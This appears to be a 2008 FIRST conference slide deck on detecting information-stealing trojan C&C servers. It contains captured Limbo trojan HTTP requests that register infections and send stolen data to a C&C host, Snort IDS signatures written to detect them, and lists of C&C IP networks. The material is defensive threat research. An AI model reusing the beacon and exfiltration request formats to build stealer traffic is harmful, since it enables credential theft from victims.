Tracking and Detecting Trojan Command and Control Servers

Ryan Olson
FIRST 2008
Outline

+ What do we Track and Why?
+ Overview of Information Stealing Trojans
  ▪ How/What they steal
  ▪ Phoning Home
  ▪ Popular Kits
+ Detecting C&C Traffic
  ▪ IDS Signatures: Specific Trojans
  ▪ Detecting Static Characteristics with Signatures
+ Trojan C&C Network Clusters
  ▪ Frequently Used Networks
  ▪ Countries Hosting C&C Servers
What do we Track and Why?

- **Information Stealing Trojans**
  - Stealing Credentials for Online Sites
  - Primarily Financial Institutions

- **Generated by Toolkits**
  - Built by Technically Skilled Criminals
  - Used by Criminals with Other Skills
  - Trojans Reporting to Many C&Cs (No Single Mothership)

- **C&C Servers Store Stolen Data**
  - Commonly Hosted on Bullet-Proof Networks
  - Multiple Servers Frequently Clustered in Small IP Space
  - Knowing IP Allows for Blocking/Monitoring
Information Stealing Trojans

+ Steal Website Login/Password
  ▪ Form Grabbing
  ▪ Protected Storage Dump
  ▪ Key-logging (Becoming less-common)

+ Phoning Home
  ▪ In the Past (and Easily Blocked)
    – Email
    – FTP
  ▪ Current Most Popular
    – HTTP POST Requests
    – Rarely Blocked
Information Stealing Trojans

+ Popular Tool Kits
  - Limbo/Nethell
  - Zeus/PRG/NTOS/WNSPOEM
  - AgentDQ/Bzub/Metafisher

+ Used by Many Attackers
  - C&C/Targets Configurable
  - Simple for Non-Technical Attackers to Use
    - Web Interface
  - Common Attributes Despite Configuration
    - Possible to Detect Traffic from Trojans Generated by Specific Kit
Information Stealing Trojans

### ZenS :: Statistics

**Information:**
- Profile: root
- GMT Date: 21.12.2007
- GMT Time: 09:35:08

**Statistics:**
- 

**DETAILED:**
- Online bots
- Remote commands

**Logs:**
- Block
- Block with template
- Uploaded files

**SYSTEM:**
- Profiles
- Profile
- Options

**Logout**

---

### Information

- Total logs in database: 2746620
- Total bots: 4035
- Total active bots in 24 hours: 1438

### Install (1568)

<table>
<thead>
<tr>
<th>Bot</th>
<th>Percent</th>
</tr>
</thead>
<tbody>
<tr>
<td>BG</td>
<td>561</td>
</tr>
<tr>
<td>...</td>
<td>335</td>
</tr>
<tr>
<td>EU</td>
<td>193</td>
</tr>
<tr>
<td>PL</td>
<td>97</td>
</tr>
<tr>
<td>US</td>
<td>8</td>
</tr>
<tr>
<td>BY</td>
<td>6</td>
</tr>
<tr>
<td>US</td>
<td>3</td>
</tr>
<tr>
<td>FR</td>
<td>9</td>
</tr>
<tr>
<td>IX</td>
<td>2</td>
</tr>
<tr>
<td>IE</td>
<td>2</td>
</tr>
<tr>
<td>IT</td>
<td>2</td>
</tr>
<tr>
<td>IC</td>
<td>2</td>
</tr>
<tr>
<td>U2</td>
<td>1</td>
</tr>
<tr>
<td>TR</td>
<td>1</td>
</tr>
<tr>
<td>ER</td>
<td>2</td>
</tr>
<tr>
<td>CA</td>
<td>1</td>
</tr>
<tr>
<td>SK</td>
<td>1</td>
</tr>
</tbody>
</table>

### Online bots (131)

<table>
<thead>
<tr>
<th>Bot</th>
<th>Percent</th>
</tr>
</thead>
<tbody>
<tr>
<td>SG</td>
<td>143</td>
</tr>
<tr>
<td>...</td>
<td></td>
</tr>
<tr>
<td>EU</td>
<td>11</td>
</tr>
<tr>
<td>PL</td>
<td>26</td>
</tr>
<tr>
<td>US</td>
<td>2</td>
</tr>
<tr>
<td>BY</td>
<td>2</td>
</tr>
<tr>
<td>FR</td>
<td>2</td>
</tr>
<tr>
<td>IX</td>
<td>2</td>
</tr>
<tr>
<td>IE</td>
<td>1</td>
</tr>
<tr>
<td>IT</td>
<td>1</td>
</tr>
<tr>
<td>IC</td>
<td>1</td>
</tr>
<tr>
<td>U2</td>
<td>1</td>
</tr>
<tr>
<td>TR</td>
<td>1</td>
</tr>
<tr>
<td>ER</td>
<td>1</td>
</tr>
<tr>
<td>CA</td>
<td>1</td>
</tr>
<tr>
<td>SK</td>
<td>1</td>
</tr>
</tbody>
</table>

---

VeriSign®
Network-based Intrusion Detection Systems
Detecting a Toolkit

+ Step 1: Get a Copy of the Code (Preferably a few)
+ Step 2: Run it in Controlled Environment to Capture Traffic
+ Step 3: Determine Why/What/When of Communication
+ Step 4: Determine *Static* Characteristics of Traffic
+ Step 5: Create IDS Signature to Detect Static Characteristics
3 Primary Types of Messages

- **Registration**
  - Report a New Infection
  - As Soon as Infection Occurs (and Each Time IE is Launched)

- **Command Update**
  - Retrieved Updated Commands and Target List
  - Each Time IE is Launched

- **Report Data**
  - Sends Captured Data to C&C
  - When User Submits a Web-Form
  - Steals Files from System
Detecting a Toolkit (Limbo)

Registration Message

POST /count/nu.php HTTP/1.1
Referer: lol
Content-Type: application/x-www-form-urlencoded
User-Agent: IE
Host: pricestan.cc
Content-Length: 28
Cache-Control: no-cache

userid=09012002_144712_65546

HTTP/1.1 200 OK
Date: Fri, 28 Mar 2008 08:19:47 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: PHP/4.3.9
Content-Length: 0
Connection: close
Content-Type: text/html
Detecting a Toolkit (Limbo)

Command Update Message

GET /count/c.php?userid=09012002_144712_65546 HTTP/1.1
User-Agent: bart
Host: pricestan.cc
Cache-Control: no-cache

URL
Detecting a Toolkit (Limbo)

Report Data Message

POST /count/sl.php HTTP/1.1
Referer: lol
Content-Type: multipart/form-data; boundary=7d615b161b064a
User-Agent: IE
Host: pricestan.cc
Content-Length: 382
Cache-Control: no-cache

--7d615b161b064a
Content-Disposition: form-data; name="filesize"

65
--7d615b161b064a
Content-Disposition: form-data; name="subject"

09012002_144712_65546
--7d615b161b064a
Content-Disposition: form-data; name="filename"; filename="09012002_144712_65546.txt"
Content-type:text/html

.$$$$$$^\AZKMKZKJ.[ZA\OIK$$$$$$$.$$$$$$^\AZKMKZKJ.[ZA\OIK$$$$$$$. $$
--7d615b161b064a--
alert tcp $HOME_NET any -> $EXTERNAL_NET any ( 
  msg:"VRSN - LIMBO Web Based Toolkit Detected";
  flow:established,to_server; sid:5544332211;
  classtype:misc-activity; rev:1; )

Detecting a Toolkit (Limbo)

```
GET /count/c.php?userid=09012002_144712_65546 HTTP/1.1
User-Agent: bart
Host: pricestan.cc
Cache-Control: no-cache

alert tcp $HOME_NET any -> $EXTERNAL_NET any ( msg:"VRSN - LIMBO Web Based Toolkit Detected"; uricontent:"userid="; pcre:"/userid=\d{8}_\d{6}_\d{5}/U"; flow:established,to_server; sid:3544532211; classtype:misc-activity; rev:1; )
```
Detecting a Toolkit (Limbo)

```
alert tcp $HOME_NET any -> $EXTERNAL_NET any (  
msg:"VRSN - LIMBO Web Based Toolkit Detected";  
content:"POST|20|"; offset:0; depth:5;  
flow:established,to_server; sid:5544332211;  
content:"Referer|3A||20| lol|0D0A|"; pcre:"/\d{8}_\d{6}_\d{5}/R";  
classtype:misc-activity; rev:1; )
```
Tracking C&C Servers

- February/March 2008
  - 130 Information Stealing Trojan C&C Servers
  - Hosted on 61 Networks
  - Network Information Determined Using Team Cymru IP->ASN Mapping

Number: 7342
BGP Prefix: 65.205.249.0/24
Country Code: US
Registry: arin
Date Allocated: 2000-10-27
Name: VERISIGN-AS - VeriSign Infrastructure & Operations

Team Cymru IP to ASN Lookup - https://asn.cymru.com/
Frequently Used Networks

- Other: 58%
- INTERCAGE: 6%
- TTNET-MY: 4%
- AGAVA: 4%
- SAVVIS: 4%
- TTNET: 4%
- ANC: 4%
- DBANK: 3%
- HOPEONE: 3%
- TMIDC: 3%
- ELTEL: 3%
- STARHUBINTERNET: 4%
## Frequently Used Networks

### INTERCAGE

<table>
<thead>
<tr>
<th>AS</th>
<th>IP Address</th>
<th>BGP Prefix</th>
<th>CC</th>
</tr>
</thead>
<tbody>
<tr>
<td>27595</td>
<td>58.65.239.13</td>
<td>58.65.239.0/24</td>
<td>HK</td>
</tr>
<tr>
<td>27595</td>
<td>58.65.239.27</td>
<td>58.65.239.0/24</td>
<td>HK</td>
</tr>
<tr>
<td>27595</td>
<td>58.65.239.29</td>
<td>58.65.239.0/24</td>
<td>HK</td>
</tr>
<tr>
<td>27595</td>
<td>58.65.239.3</td>
<td>58.65.239.0/24</td>
<td>HK</td>
</tr>
<tr>
<td>27595</td>
<td>58.65.239.84</td>
<td>58.65.239.0/24</td>
<td>HK</td>
</tr>
<tr>
<td>27595</td>
<td>69.50.191.203</td>
<td>69.50.160.0/19</td>
<td>US</td>
</tr>
<tr>
<td>27595</td>
<td>85.255.119.100</td>
<td>85.255.119.0/24</td>
<td>UA</td>
</tr>
<tr>
<td>27595</td>
<td>85.255.121.190</td>
<td>85.255.121.0/24</td>
<td>UA</td>
</tr>
</tbody>
</table>
## Frequently Used Networks

**TTNET-MY**

<table>
<thead>
<tr>
<th>AS</th>
<th>IP Address</th>
<th>BGP Prefix</th>
<th>CC</th>
</tr>
</thead>
<tbody>
<tr>
<td>9930</td>
<td>124.217.246.225</td>
<td>124.217.240.0/20</td>
<td>MY</td>
</tr>
<tr>
<td>9930</td>
<td>124.217.248.140</td>
<td>124.217.240.0/20</td>
<td>MY</td>
</tr>
<tr>
<td>9930</td>
<td>124.217.248.170</td>
<td>124.217.240.0/20</td>
<td>MY</td>
</tr>
<tr>
<td>9930</td>
<td>124.217.249.5</td>
<td>124.217.240.0/20</td>
<td>MY</td>
</tr>
<tr>
<td>9930</td>
<td>124.217.251.118</td>
<td>124.217.240.0/20</td>
<td>MY</td>
</tr>
<tr>
<td>9930</td>
<td>124.217.252.193</td>
<td>124.217.240.0/20</td>
<td>MY</td>
</tr>
<tr>
<td>9930</td>
<td>124.217.253.6</td>
<td>124.217.240.0/20</td>
<td>MY</td>
</tr>
</tbody>
</table>
## Determining Network “Maliciousness”

<table>
<thead>
<tr>
<th>BGP Prefix</th>
<th>C&amp;C IPs</th>
<th>Total IPs</th>
<th>Known Malicious</th>
<th>Network</th>
</tr>
</thead>
<tbody>
<tr>
<td>72.232.225.0/24</td>
<td>5</td>
<td>256</td>
<td>1.9531%</td>
<td>DBANK</td>
</tr>
<tr>
<td>81.222.138.0/24</td>
<td>4</td>
<td>256</td>
<td>1.5625%</td>
<td>ELTEL</td>
</tr>
<tr>
<td>79.135.165.0/24</td>
<td>4</td>
<td>256</td>
<td>1.5625%</td>
<td>TTNET</td>
</tr>
<tr>
<td>122.152.130.0/24</td>
<td>4</td>
<td>256</td>
<td>1.5625%</td>
<td>ANC</td>
</tr>
<tr>
<td>78.157.192.0/24</td>
<td>3</td>
<td>256</td>
<td>1.1719%</td>
<td>WEDARE</td>
</tr>
<tr>
<td>202.71.106.0/24</td>
<td>3</td>
<td>256</td>
<td>1.1719%</td>
<td>EASTGATE-AP</td>
</tr>
<tr>
<td>202.83.212.0/24</td>
<td>2</td>
<td>256</td>
<td>0.7813%</td>
<td>SINGTEL</td>
</tr>
<tr>
<td>195.5.116.0/24</td>
<td>2</td>
<td>256</td>
<td>0.7813%</td>
<td>COMPIC</td>
</tr>
<tr>
<td>195.93.218.0/23</td>
<td>3</td>
<td>512</td>
<td>0.5859%</td>
<td>BUILDHOUSE-AS</td>
</tr>
<tr>
<td>195.2.252.0/23</td>
<td>3</td>
<td>512</td>
<td>0.5859%</td>
<td>DINET-AS</td>
</tr>
<tr>
<td>124.217.240.0/20</td>
<td>7</td>
<td>4096</td>
<td>0.1709%</td>
<td>TTNET-MY</td>
</tr>
<tr>
<td>202.75.32.0/20</td>
<td>4</td>
<td>4096</td>
<td>0.0977%</td>
<td>TMIDC-AP</td>
</tr>
<tr>
<td>89.108.64.0/19</td>
<td>6</td>
<td>8192</td>
<td>0.0732%</td>
<td>Agava</td>
</tr>
<tr>
<td>209.160.64.0/20</td>
<td>3</td>
<td>4096</td>
<td>0.0732%</td>
<td>HOPONE-GLOBAL</td>
</tr>
<tr>
<td>72.232.0.0/18</td>
<td>4</td>
<td>16384</td>
<td>0.0244%</td>
<td>SAVVIS</td>
</tr>
<tr>
<td>62.149.0.0/19</td>
<td>2</td>
<td>8192</td>
<td>0.0244%</td>
<td>COLOCALL</td>
</tr>
</tbody>
</table>
Countries Frequently Hosting C&C Servers

- US: 26%
- RU: 16%
- MY: 12%
- UA: 10%
- HK: 9%
- TR: 7%
- NL: 6%
- DE: 5%
- SG: 4%
- JP: 3%
- LU: 2%
- GB: 2%
- EE: 2%
- CZ: 1%
- TH: 1%
- CN: 1%
- CA: 1%
Countries Frequently Hosting C&C Servers

Comparison: October 2007 Data (Before RBN Went Down)
Generic Detection Based on Destination

+ Highly Malicious Networks Probably Contain Other Bad Servers
+ Deploy IDS Rules to Detect ANY Traffic to/from Network
+ Detect Trojans Without Specific Signatures
+ False Positives More Likely
Conclusions

+ Toolkit-based Information Stealing Trojans Very Common
  ▪ Can Have Major Financial Impact
  ▪ Many Attackers Using Same Trojans

+ IDS Can Detect Trojan C&C Communications
  ▪ Identify Infected Hosts
  ▪ Identify C&C Servers

+ Since RBN went Offline, Attackers Spread More/Smaller Networks
  ▪ Less Obvious
  ▪ Harder to Detect and Track Bulletproof Hosts
  ▪ But C&C Servers Still Found in Clusters
Questions

Where It all comes together.